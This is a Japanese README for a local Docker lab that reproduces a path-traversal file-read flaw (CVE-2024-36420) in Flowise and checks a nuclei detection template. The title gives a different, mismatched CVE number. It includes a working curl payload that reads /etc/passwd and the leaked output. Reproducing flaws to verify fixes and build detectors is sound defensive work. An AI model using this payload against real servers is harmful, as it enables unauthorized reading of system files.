
CVE-2024-10829 分析
Flowise に影響を与える CVE-2024-36420 のローカル再現ラボと nuclei テンプレート草案。
CVE-2024-36420 は、Flowise において fileName ボディパラメータがサニタイズされずに使用されることにより発生する任意ファイル読み取り脆弱性です。影響を受けるエンドポイント:
POST /api/v1/openai-assistants-fileこのラボは以下を検証するために使用されました:
flowiseai/flowise:1.4.3 での脆弱な動作flowiseai/flowise:3.1.2 での拒否された動作docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yamlFlowise 1.4.3 を起動:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
手動確認:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
観測された脆弱なレスポンス:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
新しい Flowise 3.1.2 を起動:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
手動確認:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
観測された新しいバージョンのレスポンス:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
テンプレートを検証:
nuclei -duc -validate -t CVE-2024-36420.yaml
脆弱なターゲットに対して実行:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
期待される動作:
1.4.3: マッチ3.1.2: マッチしない1.4.3 で脆弱3.1.2 で拒否